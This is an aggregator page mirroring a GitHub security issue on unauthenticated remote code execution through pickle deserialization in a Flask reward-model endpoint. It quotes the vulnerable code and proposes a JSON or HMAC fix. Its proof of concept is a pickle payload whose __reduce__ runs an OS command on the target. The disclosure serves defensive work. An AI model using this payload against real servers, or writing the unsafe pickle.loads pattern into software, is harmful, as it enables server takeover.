Hacktoberfest 2026: the issues maintainers tagged for October, open and beginner-friendly. Browse Hacktoberfest issues

[Security] Unauthenticated RCE via Pickle Deserialization in serve_general_reward.py (CWE-502)

Open
#6 0 comments 0 reactions 0 assignees View on GitHub

Nobody has claimed this yet.

Assessment

Difficulty
4/5
Estimated time
3-5 days
Newbie friendliness
45/100
Issue type
Bug
Clarity
Clearly specified
Activity status
Quiet
Tech stack
flask, python
Domain
api, backend, security

Research direction

Start with scripts/serve_general_reward.py:29 and trace how the POST / request body is consumed by the inference endpoint. Review the service's host and communication assumptions before choosing between JSON serialization and authenticated trusted communication. Done means unauthenticated request data can no longer trigger arbitrary deserialization, with the endpoint's intended request handling preserved.

Written by the indexing model from the issue text.

Description

Summary

CVSS 9.8 (Critical) — Unauthenticated Remote Code Execution via unsafe pickle.loads() on raw HTTP request body in scripts/serve_general_reward.py.

Affected Code

File: scripts/serve_general_reward.py:29

@root.route("/", methods=["POST"])
def inference():
    data = request.get_data()
    payload = pickle.loads(data)  # ← RCE via untrusted deserialization

The Flask endpoint accepts POST requests to / with ZERO authentication. The raw HTTP body is passed directly to pickle.loads(), which executes arbitrary Python code during deserialization.

Impact

Complete server compromise. Any unauthenticated attacker on the network (the host defaults to 127.0.0.1 but can be overridden via GENERAL_REWARD_HOST env var) can:

  1. Execute arbitrary OS commands
  2. Steal ML models and training data
  3. Establish persistence on the server

Proof of Concept

import pickle, os, requests

class Exploit:
    def __reduce__(self):
        return (os.system, ("id > /tmp/pwned_worldr1",))

payload = pickle.dumps(Exploit())
requests.post("http://TARGET:8090/", data=payload)

Fix

Replace pickle with JSON serialization (json.loads). If pickle is required for internal communication, add authentication (HMAC/API key) and only accept connections from trusted sources.

Disclosure

This project does not have Private Vulnerability Reporting enabled. Please enable it at https://github.com/microsoft/World-R1/security. For private coordination: xiaoyaotom101df2@xiaoyaobot.top

CC @microsoft security team

Dominant language
Python
Stars
426
Forks
17
PR merge metrics
No merged PRs in 30d

Contributor guide

No contributing guide indexed for this repository

First steps

  1. Read the whole issue, then the project's contributing guide.
  2. Comment on the issue to say you are picking it up — it saves two people doing the same work.
  3. Fork the repository and make your change on a branch.
  4. Open a pull request that references the issue number.

More from microsoft/World-R1

All issues in microsoft/World-R1

Similar issues

More Python issues

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.